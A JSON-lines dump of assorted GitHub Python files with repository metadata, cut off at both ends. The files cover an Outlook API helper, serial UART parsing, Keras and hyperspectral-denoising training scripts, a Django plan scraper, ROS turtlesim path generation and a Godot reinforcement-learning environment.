'https://outlook.office.com/api/v2.0/me/InferenceClassification/Overrides'\n\n if is_focused:\n classification = 'Focused'\n else:\n classification = 'Other'\n\n data = dict(ClassifyAs=classification, SenderEmailAddress=dict(Address=self.email))\n\n r = requests.post(endpoint, headers=account._headers, data=json.dumps(data))\n\n # Will raise an error if necessary, otherwise returns True\n result = check_response(r)\n\n self.focused = is_focused\n\n return result\n","repo_name":"JensAstrup/pyOutlook","sub_path":"pyOutlook/core/contact.py","file_name":"contact.py","file_ext":"py","file_size_in_byte":4067,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"47"} +{"seq_id":"27660652390","text":"# Function to Check if frequency of all characters \n# can become same by one removal \nfrom collections import Counter \n\ndef allSame(input): \n\t\n\t# calculate frequency of each character \n\t# and convert string into dictionary \n\tdict=Counter(input) \n\n\t# now get list of all values and push it \n\t# in set \n\tsame = list(set(dict.values())) \n\n\tif len(same)>2: \n\t\tprint('No') \n\telif len (same)==2 and same[1]-same[0]>1: \n\t\tprint('No') \n\telse: \n\t\tprint('Yes') \n\n\t\n\t# now check if frequency of all characters \n\t# can become same \n\t\n# Driver program \nif __name__ == \"__main__\": \n\tinput = 'xxxyyzzt'\n\tallSame(input) \n","repo_name":"Sujal-vajire/HactoberFest2020","sub_path":"SetAndCounter.py","file_name":"SetAndCounter.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"47"} +{"seq_id":"7986611092","text":"from keras.layers import Input, Dense\nfrom keras.models import Model\nfrom keras import backend as K\nimport numpy as np\n\ndef customLoss(pnt_ref='', pnt_simul='', angles='', nbatch=16):\n def loss(y_true, y_pred): \n err = 0\n for i in range (0, nbatch):\n #Here we want to do something with each y_pred\n pnt = np.random.rand(2,1)\n pnt_K = K.variable(value=pnt) #convert the point to tensor\n y_pred_mat = K.reshape(y_pred[i], [-1,2])\n new_pnt = K.dot(y_pred_mat, pnt_K)\n err = err + K.mean( K.square(new_pnt-pnt_K) )\n print(i, y_pred[i])\n return err\n return loss\n\n\ninputs = Input(shape=(1,))\npreds = Dense(4,activation='linear')(inputs) #output 4 values\n\nmodel = Model(inputs=inputs,outputs=preds)\nmodel.compile(loss=customLoss(nbatch=16), optimizer='adam' ,metrics=['mse'])\n#model.fit(x,y, batch_size=1, epochs=30, shuffle=False)","repo_name":"zahramontazeri91/Fiber-level-cloth-simulation","sub_path":"py/tools/test_loss_function.py","file_name":"test_loss_function.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"30545828033","text":"from audioop import reverse\nfrom calendar import day_abbr\nfrom shelve import Shelf\nfrom loguru import logger\nimport serial\n\n# 定义串口3\nUart2 = serial.Serial( port=\"/dev/ttyAMA1\",\n bytesize=8,\n baudrate=115200,\n stopbits=1,\n timeout=1000)\n\n# 接收类\nclass Receive():\n def __init__(self) -> None:\n self.model = 0\n self.uart_buf = []\n self.state = 0\n\n\n def uart_read(self):\n if(Uart2.in_waiting>0):\n data = Uart2.read().hex()\n model = self.data_processing(data)\n return model\n\n\n # 数据处理\n def data_processing(self, data) -> int:\n if(self.state == 0):\n if(data == \"0f\"):\n self.state = 1\n self.uart_buf.append(data)\n else:\n self.state = 0\n\n elif(self.state == 1):\n if(data == \"f0\"):\n self.state = 2\n self.uart_buf.append(data)\n else:\n self.state = 0\n\n elif(self.state == 2):\n if(data == \"20\"):\n self.state = 3\n self.uart_buf.append(data)\n else:\n self.state = 0\n\n elif(self.state == 3):\n if(data == \"02\"):\n self.state = 4\n self.uart_buf.append(data)\n else:\n self.state = 0\n\n elif(self.state == 4):\n self.state = 5\n self.uart_buf.append(data)\n\n elif(self.state == 5):\n sum = 0\n for i in range(5):\n sum = sum + int(self.uart_buf[i],16)\n sum = sum % 256\n # print(sum)\n # print(int(data,16))\n data_16 = int(data, 16)\n if(data_16 == sum):\n # self.uart_buf.append(data)\n self.model = self.uart_buf[4]\n self.uart_buf = []\n self.state = 0\n # logger.info(\"Connect success!\")\n return self.model\n \n else:\n self.state = 0\n\n\n # 发送串口数据\n def uart_send(self, data1, data2, data3, k, index):\n if index == 17:\n Uart2.write(self.pack_data_17(data1,data2,data3))\n\n # 测试:定义功能包17\n def pack_data_17(self, data1, data2, data3):\n datalist = [0x0f, 0xf0, 0x17, 0x03, data1, data2, data3]\n datalist.append(self.sum_check(datalist))\n data = bytearray(datalist)\n return data\n\n # 求和取余得发送包尾\n def sum_check(self, data_list):\n data_sum = 0\n for temp in data_list:\n data_sum = temp+data_sum\n return data_sum%256\n\n\nif __name__ == \"__main__\":\n receive = Receive()\n while(1):\n model = receive.uart_read()\n while(model == \"17\"):\n logger.info(\"success to model 17\")\n receive.uart_send(8,2,3,0,17)\n","repo_name":"123-YUYUYU/opencv","sub_path":"1/shumeipi.py","file_name":"shumeipi.py","file_ext":"py","file_size_in_byte":2970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27360674348","text":"import random\nimport sys\n\n\nclass Mogus:\n def __init__(self):\n self.inputVec = []\n self.outputVec = []\n\n def addElement(self, e):\n self.inputVec.append(e)\n\n def getElement(self, pos):\n if pos >= len(self.outputVec):\n print(\"Accessing element out of vector\")\n return -1\n return self.outputVec[pos]\n\n def mogussort(self):\n iterCount = 0\n loopCount = 0\n self.outputVec.clear()\n # Copy to temp\n tempInput = self.inputVec.copy()\n\n sorted = False\n votedMate = None\n\n while not sorted:\n iterCount += 1\n # Choose random position\n randpos = 0\n if len(tempInput) > 1:\n randpos = random.randint(0, len(tempInput) - 1)\n\n # Vote sussy crewmates\n votedMate = tempInput.pop(randpos)\n self.outputVec.append(votedMate)\n\n # Check if imposters are REALLY SUS?\n prev = float('-inf')\n for i in range(len(self.outputVec)):\n if prev > self.outputVec[i]:\n # Sussy?\n # Reset the temp vec\n tempInput = self.inputVec.copy()\n self.outputVec.clear()\n sorted = False\n loopCount += 1\n break\n prev = self.outputVec[i]\n\n if not tempInput:\n sorted = True\n\n print(\n f\"Finished sorting {len(self.inputVec)} elements in {iterCount} iterations ({loopCount} loops)\")\n\n def print(self):\n print(\"Printing output:\")\n print(\",\".join(str(e) for e in self.outputVec))\n\n def printVec(self, vec):\n print(\",\".join(str(e) for e in vec))\n\n\ndef main():\n sus = 0x1 << 16**9\n mogus = Mogus()\n\n # Get elements from user input\n while True:\n try:\n num_elements = int(input(\"Enter the number of elements to sort: \"))\n break\n except ValueError:\n print(\"Invalid input. Please enter an integer.\")\n\n for i in range(num_elements):\n while True:\n try:\n element = int(input(f\"Enter element {i+1}: \"))\n mogus.addElement(element)\n break\n except ValueError:\n print(\"Invalid input. Please enter an integer.\")\n\n mogus.print() # Prints \"Printing output:\\n\"\n\n mogus.mogussort() # Sorts the elements\n\n mogus.print() # Prints the sorted elements\n\n # Get element position from user input\n input(\"press enter to exit\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"sam-k0/Mogussort","sub_path":"mogussort_py/mogussort.py","file_name":"mogussort.py","file_ext":"py","file_size_in_byte":2635,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"47"} +{"seq_id":"71679805584","text":"from django.shortcuts import render, get_object_or_404\nfrom . models import *\nimport requests\nimport json\nfrom math import ceil\nfrom django.http import HttpResponse\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom . serializers import PlanSerializer\n\n\n#function to get data from Airtel Api and store in our database\n#Click once only to avoid to store dublicate data\n\ndef index1(request):\n\n url = \"https://assets.airtel.in/static-assets/myplan-infinity-ui/static/js/main~01e7b97c.359e33ff.js\"\n\n response = requests.get(url=url)\n resjson = response.text.split(\"{e.exports=JSON.parse('\")[1].split(\"'\")[0]\n\n # convert Json to dictionary to Target each plan data using for loop\n aDict = json.loads(resjson)\n\n for plans in aDict[\"staticPlanData\"]:\n planId = plans[\"planId\"]\n bplInventoryItemId = plans[\"bplInventoryItemId\"]\n billPlanName = plans[\"billPlanName\"]\n freebieCount = plans[\"freebieCount\"]\n pricePoint = plans[\"pricePoint\"]\n billPlanCategory = plans[\"billPlanCategory\"]\n planComponents = plans[\"planComponents\"]\n queryset = Plan.objects.create(planId= planId, bplInventoryItemId=bplInventoryItemId, billPlanName=billPlanName, freebieCount=freebieCount, pricePoint=pricePoint, billPlanCategory=billPlanCategory, planComponents=planComponents)\n queryset.save()\n object=Plan.objects.all()\n return HttpResponse(\"hello\")\n\n\n# function to get data from our database and show them in our Webpage\ndef plan(request):\n plans = Plan.objects.all()\n allplans = []\n catplan = Plan.objects.values(\"pricePoint\", \"id\")\n cats = {item[\"pricePoint\"] for item in catplan}\n print(catplan)\n print(cats)\n\n for cat in cats:\n plan = Plan.objects.filter(pricePoint=cat)\n n = len(plans)\n nSlides = n // 4 + ceil((n / 4) - (n // 4))\n allplans.append([plan, range(1, nSlides), nSlides])\n params = {'allplans': allplans}\n\n return render(request, \"plan.html\", params)\n\n\n# to make api to fetch data from our website\nclass planList(APIView):\n\n def get(self, request):\n plan1 = Plan.objects.all()\n serializer = PlanSerializer(plan1, many= True)\n return Response(serializer.data)\n\n def post(self):\n pass\n\n#Important note: Our Website Api is http://127.0.0.1:8000/planlist","repo_name":"dakshbewal/Django_project_recharge_api","sub_path":"plansite/planapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"41436112862","text":"#!/usr/bin/python3\nimport rclpy\nfrom rclpy.node import Node\nfrom geometry_msgs.msg import Twist,Point\nfrom turtlesim.msg import Pose\nfrom turtlesim_plus_interfaces.srv import GivePosition\nfrom std_srvs.srv import Empty\nfrom fibo_turtlesim_control.srv import SetGoal\nimport math\nimport yaml\nimport os\n\nclass GenViapoint(Node):\n def __init__(self):\n super().__init__('Scheduler')\n self.start_positions = [[2.0, 6.0], [2.0, 1.0], [7.0, 6.0], [7.0, 1.0]] # create start position of each letter (\"F\",\"I\",\"B\",\"O\")\n self.store_via_point = [[] for _ in range(len(self.start_positions ))] # store via point of each letter\n self.walk_path = [[10, 5, 5], [8, 3, 3, 3, 3], [5, 10, 5],[8, 2, 8, 2]] # number of pizza for each path in each letter \n self.walk_dir = [[0, 2, 2], [0, 3, 5, 3, 5], [2, 0, 2], [0, 2, 4, 6]] # direction of walk (from 8 direction)\n self.tran_dis = 0.35 # translation length\n self.create_via_point() # call function to create viapoint\n \n def create_via_point(self)->None:\n TRAN_DIR = [ # store coorditiate of translation\n [0.0, 1.0],\n [0.707, 0.707],\n [1.0, 0.0], \n [0.707, -0.707],\n [0.0, -1.0],\n [-0.707, -0.707,],\n [-1.0, 0.0],\n [-0.707, 0.707]\n ]\n # copy star_positions to store_via_point variable\n for index, pos in enumerate(self.start_positions ): \n self.store_via_point[index].append(pos)\n\n # create viapoint\n for index_wp, path in enumerate(self.walk_path): \n for index_p, pizza in enumerate(path):\n for index_pz in range(0, pizza):\n if (index_pz != 0 or index_p != 0): # check if not the start_position \n dx, dy = TRAN_DIR[self.walk_dir[index_wp][index_p]] # get the coorditiate of translation\n prev_x, prev_y = self.store_via_point[index_wp][-1] # get the lastest position\n new_x = prev_x + self.tran_dis * dx # calculate the next position\n new_y = prev_y + self.tran_dis * dy # calculate the next position\n self.store_via_point[index_wp].append([new_x, new_y]) # append viapoint to store_via_point variable\n\n # offset path in \"F\" letter\n for index in range(15,20):\n self.store_via_point[0][index][0] = self.store_via_point[0][index][0] + (self.tran_dis * -5.0) \n self.store_via_point[0][index][1] = self.store_via_point[0][index][1] + (self.tran_dis * -3.0) \n\n # offset path in \"I\" letter\n for index in range(5,15):\n self.store_via_point[2][index][0] = self.store_via_point[2][index][0] + (self.tran_dis * -2.0) \n\n # offset path in \"I\" letter\n for index in range(15,20):\n self.store_via_point[2][index][0] = self.store_via_point[2][index][0] + (self.tran_dis * -5.0) \n\n # delcare path for store via_point_file\n output_dir = 'src/fibo_turtlesim_control/via_point'\n\n # iterate through self.store_via_point and generate YAML files for each index\n for index, via_point_data in enumerate(self.store_via_point):\n # create a filename based on the index\n filename = f\"via_point_{index+1:02d}.yaml\" # Use 2-digit zero-padded index\n file_path = os.path.join(output_dir, filename)\n \n # write data to the YAML file\n self.data_to_yaml_file(file_path, \"via_point\", via_point_data)\n\n def data_to_yaml_file(self,path:str,namespace:str,array_data:list)->None:\n yaml_data = {namespace:array_data}\n with open(path, 'w') as file: # open path\n yaml.dump(yaml_data, file) # create yaml file\n\n def SetGoal(self, request, response):\n if request:\n request=False\n print(response.set_goal.x,response.set_goal.y)\n return response\n\n \ndef main(args=None):\n rclpy.init(args=args)\n node = GenViapoint()\n rclpy.spin(node)\n node.destroy_node()\n rclpy.shutdown()\n\nif __name__=='__main__':\n main()","repo_name":"HBBEEP/FRA501_exam1_6406_6428","sub_path":"fibo_turtlesim_control/scripts/fibo_via_point_gen.py","file_name":"fibo_via_point_gen.py","file_ext":"py","file_size_in_byte":4121,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"23460435344","text":"from pathlib import Path\nimport overheads,cash_on_hand,profit_loss\n\ndef main():\n overheads_output = overheads.highest_overheads()\n file_path = Path.cwd()/\"summary_report.txt\"\n with file_path.open(mode=\"a\", encoding=\"UTF-8\") as file:\n file.writelines(overheads_output)\n\n coh_output = cash_on_hand.cash_difference()\n file_path = Path.cwd()/\"summary_report.txt\"\n with file_path.open(mode=\"a\", encoding=\"UTF-8\") as file:\n file.writelines(coh_output)\n\n np_output = profit_loss.net_profit()\n file_path = Path.cwd()/\"summary_report.txt\"\n with file_path.open(mode=\"a\", encoding=\"UTF-8\") as file:\n file.writelines(np_output)\n\n ","repo_name":"waynzrx/PFB","sub_path":"project_teamclover/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"9844941248","text":"def merge(y,low,mid,high):\n m=mid-low+1\n n=high-mid\n A=[0]*m\n B=[0]*n\n for i in range(m):\n A[i]=y[low+i]\n for j in range(n):\n B[j]=y[mid+1+j]\n i=j=0\n k=low\n while i Preparing data..')\n icvl_64_31_TL_1 = make_dataset(\n opt, train_transform_1,\n target_transform, common_transform_1, 16)\n\n icvl_64_31_TL_2 = make_dataset(\n opt, train_transform_2,\n target_transform, common_transform_2, 64)\n\n \"\"\"Test-Dev\"\"\"\n basefolder = '/data/weikaixuan/hsi/data/'\n mat_names = ['icvl_512_30', 'icvl_512_50']\n\n mat_datasets = [MatDataFromFolder(os.path.join(\n basefolder, name), size=5) for name in mat_names]\n\n if not engine.get_net().use_2dconv:\n mat_transform = Compose([\n LoadMatHSI(input_key='input', gt_key='gt',\n transform=lambda x:x[:, ...][None]),\n ])\n else:\n mat_transform = Compose([\n LoadMatHSI(input_key='input', gt_key='gt'),\n ])\n\n mat_datasets = [TransformDataset(mat_dataset, mat_transform)\n for mat_dataset in mat_datasets]\n\n mat_loaders = [DataLoader(\n mat_dataset,\n batch_size=1, shuffle=False,\n num_workers=1, pin_memory=opt.no_cuda\n ) for mat_dataset in mat_datasets]\n \n\n \"\"\"Main loop\"\"\"\n base_lr = opt.lr\n adjust_learning_rate(engine.optimizer, opt.lr) \n epoch_per_save = 10\n while engine.epoch < 50:\n np.random.seed() # reset seed per epoch, otherwise the noise will be added with a specific pattern\n if engine.epoch == 20:\n adjust_learning_rate(engine.optimizer, base_lr*0.1)\n\n if engine.epoch == 30:\n adjust_learning_rate(engine.optimizer, base_lr)\n\n if engine.epoch == 35:\n adjust_learning_rate(engine.optimizer, base_lr*0.1)\n \n if engine.epoch == 45:\n adjust_learning_rate(engine.optimizer, base_lr*0.01)\n \n if engine.epoch <= 30:\n engine.train(icvl_64_31_TL_1)\n engine.validate(mat_loaders[1], 'icvl-validate-50')\n else:\n engine.train(icvl_64_31_TL_2)\n engine.validate(mat_loaders[0], 'icvl-validate-30')\n engine.validate(mat_loaders[1], 'icvl-validate-50')\n \n print('Latest Result Saving...')\n model_latest_path = os.path.join(engine.basedir, engine.prefix, 'model_latest.pth')\n engine.save_checkpoint(\n model_out_path=model_latest_path\n )\n\n display_learning_rate(engine.optimizer)\n if engine.epoch % epoch_per_save == 0:\n engine.save_checkpoint()\n","repo_name":"Vandermode/QRNN3D","sub_path":"hsi_denoising_gauss.py","file_name":"hsi_denoising_gauss.py","file_ext":"py","file_size_in_byte":3394,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"47"} +{"seq_id":"12827228578","text":"import sys\n\nimport zmq\nimport numpy as np\nimport json\nimport gym\n\nDEFAULT_RECV_TIMEOUT = 100 # in milliseconds\nDEFAULT_SEND_TIMEOUT = 100\n\nACTION_TIMEOUT = 100\nJOIN_TIMEOUT = 150\nQUIT_TIMEOUT = 150\n\n# TODO: Set this from an observation from Godot\nDIM_OBSERVATIONS = 6 # SMELL -> 1 & 2, SOMATOSENSORY -> 3, TOUCH -> 4, VELOCITY -> 5 & 6\n# DIM_OBSERVATIONS = 2 # SMELL -> 1 & 2\nDIM_ACTIONS = 4\n\n# Keys for connection dictionary\nCONN_KEY_OBSERVATIONS = 'OBS'\nCONN_KEY_ACTIONS = 'ACTIONS'\n\n\n# TODO: Move this\ndef split(m):\n \"\"\" Splits message into separate topic and content strings.\n :param m: a ZeroMq message containing the topic string and JSON content\n :return: a tuple containing the topic and JSON content\n \"\"\"\n ndx = m.find('{')\n return m[0:ndx - 1], m[ndx:]\n\n\n# OpenAI documentation on creating custom environments:\n# https://github.com/openai/gym/blob/master/docs/creating-environments.md\n\n# TODO: Split this off into another base class that this one inherits from that contains more general Godot concerns,\n# like connection management\nclass SimpleAnimatWorld(gym.Env):\n _args = None\n\n # Godot environment connections (using ZeroMQ)\n _connections = None\n\n def __init__(self, agent_id, obs_port, action_port, args=None):\n self._agent_id = agent_id\n self._obs_port = obs_port\n self._action_port = action_port\n self._args = args\n\n self._curr_step = 0\n self._max_step = self._args.max_steps_per_episode\n self._action_seqno = 0\n\n self._last_obs = None\n\n self.action_space = gym.spaces.Discrete(2 ** DIM_ACTIONS - 1)\n self.observation_space = gym.spaces.Box(low=0, high=np.inf, shape=(DIM_OBSERVATIONS,))\n\n # ZeroMQ connection context - shared by all network sockets\n self._context = zmq.Context()\n\n # establish connections (and fail fast if Godot process not running)\n self._connections = {\n CONN_KEY_OBSERVATIONS: self._establish_obs_conn(),\n CONN_KEY_ACTIONS: self._establish_action_conn()\n }\n\n self._terminal_state_reached = True\n\n def _wait_for_action_obs(self, max_tries=100):\n wait_count = 0\n meta, obs, obs_seqno = self._receive_observation_from_godot()\n while obs_seqno is None or obs_seqno < self._action_seqno:\n wait_count += 1\n if wait_count > max_tries:\n meta, obs = None, None\n break\n\n if self._args.debug:\n print(f'agent {self._agent_id} waiting to receive obs with action_seqno {self._action_seqno};'\n + f'last received {obs_seqno}; wait count {wait_count}', flush=True)\n\n meta, obs, obs_seqno = self._receive_observation_from_godot()\n\n return meta, obs\n\n def step(self, action):\n if self._check_done():\n print('error: attempting to step a \\'done\\' environment!', flush=True)\n return\n\n self._curr_step += 1\n\n meta, obs = None, None\n while obs is None:\n try:\n action_sent = self._send_action_to_godot(action)\n assert action_sent, \"assertion failed: unable to send action!\"\n\n if self._args.debug:\n print(f'agent {self._agent_id} sent action {action} to Godot.')\n\n # wait for corresponding observation\n meta, obs = self._wait_for_action_obs()\n assert obs is not None, \"assertion failed: post-action obs is None!\"\n\n except (AssertionError, RuntimeError, zmq.error.ZMQError) as e:\n print(f'agent {self._agent_id} received exception when sending action to server: {e}.', flush=True)\n print(f'agent {self._agent_id} attempting to recover by reconnecting to server')\n\n self._reconnect()\n self._last_obs = self.reset(clear_history=False)\n\n # remaining return values\n reward = self._calculate_reward(obs)\n done = self._check_done()\n info = {'godot_info': meta} # metadata about agent's observations\n\n if self._args.debug:\n print(f'agent {self._agent_id} -> last_obs: {self._last_obs}\\nobs: {obs}\\nreward: {reward}\\ndone: {done}\\n')\n print(f'agent {self._agent_id} -> info: {info}')\n\n # this must be set after the call to _calculate_reward!\n self._last_obs = obs\n\n return obs, reward, done, info\n\n def reset(self, clear_history=True):\n \"\"\" respawns the agent within a running Godot environment and returns an initial observation \"\"\"\n resetting = True\n while resetting:\n try:\n # Godot ignores quits for non-existent agent ids. So always send it in case of stale connections.\n self._send_quit_to_godot()\n self._send_join_to_godot()\n\n if clear_history:\n self._reset_history()\n\n # wait until observations start flowing for this agent id\n if self._args.debug:\n print(f'agent {self._agent_id} is waiting for observations to arrive...', flush=True)\n\n _, self._last_obs, _ = self._receive_observation_from_godot(max_tries=100)\n assert self._last_obs is not None, \"assertion failed: last obs is None!\"\n\n except (AssertionError, RuntimeError, zmq.error.ZMQError) as e:\n print(f'agent {self._agent_id} received exception during reset: {e}.', flush=True)\n print(f'agent {self._agent_id} attempting to recover by reconnecting to server')\n\n self._reconnect()\n\n else:\n resetting = False\n\n return self._last_obs\n\n def render(self, mode='noop'):\n \"\"\" this is a noop. rendering is done in the Godot engine. \"\"\"\n pass\n\n def close(self):\n self._send_quit_to_godot()\n\n # explicitly release ZeroMQ socket connections\n for conn in self._connections.values():\n conn.close()\n\n def verify(self):\n \"\"\" perform sanity checks on the environment \"\"\"\n check_env(self, warn=True)\n\n def _reset_history(self):\n self._curr_step = 0\n self._last_obs = None\n self._action_seqno = 0\n self._terminal_state_reached = False\n\n def _check_done(self):\n # check: terminal state\n if self._terminal_state_reached:\n return True\n\n # check: step based termination\n if (self._max_step - self._curr_step) <= 0:\n return True\n\n return False\n\n def _establish_action_conn(self):\n socket = self._context.socket(zmq.REQ)\n\n # TODO: The hostname needs to be generalized to allow remote connections\n conn_str = 'tcp://localhost:' + str(self._action_port)\n\n if self._args.debug:\n print('establishing Godot action client using URL ', conn_str)\n\n socket.connect(conn_str)\n\n # configure timeout - without a timeout on receive the process can hang indefinitely\n socket.setsockopt(zmq.RCVTIMEO, DEFAULT_RECV_TIMEOUT)\n socket.setsockopt(zmq.SNDTIMEO, DEFAULT_SEND_TIMEOUT)\n\n socket.setsockopt(zmq.SNDHWM, 1)\n\n # pending messages are discarded immediately on socket close\n socket.setsockopt(zmq.LINGER, 0)\n\n return socket\n\n def _get_topic(self):\n return f'/agents/{self._agent_id}'\n\n def _establish_obs_conn(self):\n # establish subscriber connection\n socket = self._context.socket(zmq.SUB)\n\n # filters messages by topic\n socket.setsockopt_string(zmq.SUBSCRIBE, self._get_topic())\n\n # configure timeout\n socket.setsockopt(zmq.RCVTIMEO, DEFAULT_RECV_TIMEOUT)\n socket.setsockopt(zmq.RCVHWM, 1)\n\n # pending messages are discarded immediately on socket close\n socket.setsockopt(zmq.LINGER, 0)\n\n # TODO: The hostname needs to be generalized to allow remote connections\n conn_str = 'tcp://localhost:' + str(self._obs_port)\n\n if self._args.debug:\n print('establishing Godot sensors subscriber using URL ', conn_str)\n\n socket.connect(conn_str)\n\n return socket\n\n def _create_action_message(self, action):\n header = {'type': 'action', 'id': self._agent_id, 'seqno': self._action_seqno}\n data = {'action': int(action)}\n\n request = {'header': header, 'data': data}\n request_encoded = json.dumps(request)\n return request_encoded\n\n def _create_quit_message(self):\n header = {'type': 'quit', 'id': self._agent_id}\n data = {}\n\n request = {'header': header, 'data': data}\n request_encoded = json.dumps(request)\n return request_encoded\n\n def _create_join_message(self):\n header = {'type': 'join', 'id': self._agent_id}\n data = {}\n\n request = {'header': header, 'data': data}\n request_encoded = json.dumps(request)\n return request_encoded\n\n def _send(self, connection, message, max_tries=5):\n wait_count = 0\n\n while True:\n # REMOVE THIS\n if wait_count > 0:\n print(f'agent {self._agent_id} is spinning in _send! (wait count: {wait_count})')\n\n # TODO: Should this be changed to a polling method?\n try:\n connection.send_string(message)\n except zmq.error.Again:\n if self._args.debug:\n print(f'Received EAGAIN: Godot was unavailable during send. Retrying.', flush=True)\n\n wait_count += 1\n\n if wait_count > max_tries:\n raise RuntimeError(f'Failed to send message {message}')\n else:\n if self._args.debug:\n print(f'agent {self._agent_id} sent message {message} to Godot.', flush=True)\n break\n\n def _receive_response(self, connection, as_json=False, timeout=DEFAULT_RECV_TIMEOUT, max_tries=5):\n wait_count = 0\n\n message = None\n while message is None and wait_count < max_tries:\n # REMOVE THIS\n if wait_count > 0:\n print(f'agent {self._agent_id} is spinning in _receive_response! (wait count: {wait_count})')\n\n if (connection.poll(timeout)) & zmq.POLLIN != 0:\n message = connection.recv_json() if as_json else connection.recv_string()\n else:\n wait_count += 1\n if self._args.debug:\n print(f'waiting on a response from Godot. current wait count: {wait_count}', flush=True)\n\n return message\n\n def _reconnect(self):\n print(f'agent {self._agent_id} is reconnecting to server!', flush=True)\n\n # close existing connection\n if self._args.debug:\n print(f'agent {self._agent_id} is closing old connections!', flush=True)\n\n for connection_type, connection in self._connections.items():\n connection.close(linger=0)\n\n self._connections = {\n CONN_KEY_OBSERVATIONS: self._establish_obs_conn(),\n CONN_KEY_ACTIONS: self._establish_action_conn()\n }\n\n def _receive(self, connection, as_json=False, max_tries=2):\n wait_count = 0\n\n message = None\n while message is None and wait_count < max_tries:\n # REMOVE THIS\n if wait_count > 0:\n print(f'agent {self._agent_id} is spinning in _receive! (wait count: {wait_count})')\n\n try:\n message = connection.recv_json() if as_json else connection.recv_string()\n except zmq.error.Again:\n if self._args.debug:\n print(f'agent {self._agent_id} received EAGAIN: Godot was unavailable during receive. Retrying.',\n flush=True)\n\n wait_count += 1\n if self._args.debug:\n print(f'agent {self._agent_id} waiting on a response from Godot. current wait count: {wait_count}',\n flush=True)\n\n return message\n\n def _send_message_to_action_server(self, message, timeout=DEFAULT_SEND_TIMEOUT):\n connection = self._connections[CONN_KEY_ACTIONS]\n\n if self._args.debug:\n print(f'agent {self._agent_id} sending message {message} to Godot.', flush=True)\n\n self._send(connection, message)\n server_reply = self._receive_response(connection, timeout=timeout, as_json=True)\n if not server_reply:\n raise RuntimeError(f'agent {self._agent_id} failed to receive a reply from Godot for request {message}.')\n\n return server_reply is not None\n\n def _send_action_to_godot(self, action):\n self._action_seqno += 1\n if isinstance(action, np.ndarray):\n action = action.tolist()\n\n message = self._create_action_message(action)\n return self._send_message_to_action_server(message, timeout=ACTION_TIMEOUT)\n\n def _send_quit_to_godot(self):\n if self._args.debug:\n print(f'agent {self._agent_id} is attempting to leave the world!', flush=True)\n\n message = self._create_quit_message()\n if not self._send_message_to_action_server(message, timeout=QUIT_TIMEOUT):\n raise RuntimeError(f'agent {self._agent_id} was unable to send quit messsage to Godot!')\n\n # wait until observations stop flowing for this agent id\n _, obs, _ = self._receive_observation_from_godot()\n while obs is not None:\n if self._args.debug:\n print(f'agent {self._agent_id} left world, but Godot is still sending observations. '\n + 'Waiting for them to stop...')\n _, obs, _ = self._receive_observation_from_godot()\n\n if self._args.debug:\n print(f'agent {self._agent_id} is no longer receiving observations.')\n\n if self._args.debug:\n print(f'agent {self._agent_id} has left the world!', flush=True)\n\n def _send_join_to_godot(self, max_tries=np.inf):\n if self._args.debug:\n print(f'agent {self._agent_id} is attempting to join the world!', flush=True)\n\n message = self._create_join_message()\n if not self._send_message_to_action_server(message, timeout=JOIN_TIMEOUT):\n raise RuntimeError(f'agent {self._agent_id} was unable to send join messsage to Godot! aborting.')\n\n if self._args.debug:\n print(f'agent {self._agent_id} has joined the world!', flush=True)\n\n def _receive_observation_from_godot(self, max_tries=1):\n connection = self._connections[CONN_KEY_OBSERVATIONS]\n\n header, obs, action_seqno = None, None, None\n\n # receive observation message (encoded as TOPIC + [SPACE] + json_encoded(PAYLOAD))\n message = self._receive(connection, max_tries=max_tries)\n if message:\n _, payload_enc = split(message)\n payload = json.loads(payload_enc)\n header, data = payload['header'], payload['data']\n\n obs = self._parse_observation(data)\n action_seqno = data['LAST_ACTION']\n\n return header, obs, action_seqno\n\n def _parse_observation(self, data):\n obs = None\n try:\n data_as_list = data['SMELL'] + [data['SOMATOSENSORY']] + [data['TOUCH']] + data['VELOCITY']\n\n obs = np.round(np.array(data_as_list), decimals=6)\n except KeyError as e:\n print(f'exception {e} occurred in observation message {data}', flush=True)\n\n return obs\n\n def _calculate_reward(self, obs):\n assert obs is not None, \"assertion failed: obs is None in calculate_reward!\"\n assert self._last_obs is not None, \"assertion failed: last_obs is None in calculate_reward!\"\n\n new_smell_intensity = obs[0] + obs[1]\n new_satiety = obs[2]\n new_touch = obs[3]\n\n old_smell_intensity = self._last_obs[0] + self._last_obs[1]\n old_satiety = self._last_obs[2]\n old_touch = self._last_obs[3]\n\n # health = np.concatenate(obs, axis=0)[:, 4]\n\n # satiety_multiplier = 10000\n # health_multiplier = 10\n # smell_multiplier = 100\n\n smell_delta = new_smell_intensity - old_smell_intensity\n # print(f'smell delta: {smell_delta}')\n\n # TODO: This should be non-linear (use a sigmoid function or something of that nature)\n satiety_delta = new_satiety - old_satiety\n # health_delta = health[-1] - health[0]\n\n reward = 0.0\n reward += 10 * satiety_delta\n\n # reward stronger smells if did not eat (the check is to prevent reward deductions due to\n # consumed food causing a strong negative smell_delta)\n reward += 10 * smell_delta if satiety_delta <= 0 else 0.0\n\n # agent starved. end of episode.\n if new_satiety == 0:\n reward -= 500\n self._terminal_state_reached = True\n\n return reward\n","repo_name":"skugele/godot-ai-env-adapter","sub_path":"python/gaea/openai_gym/envs/simple_animat.py","file_name":"simple_animat.py","file_ext":"py","file_size_in_byte":16897,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"35074330117","text":"n , x = map(int,input().split())\ndata = 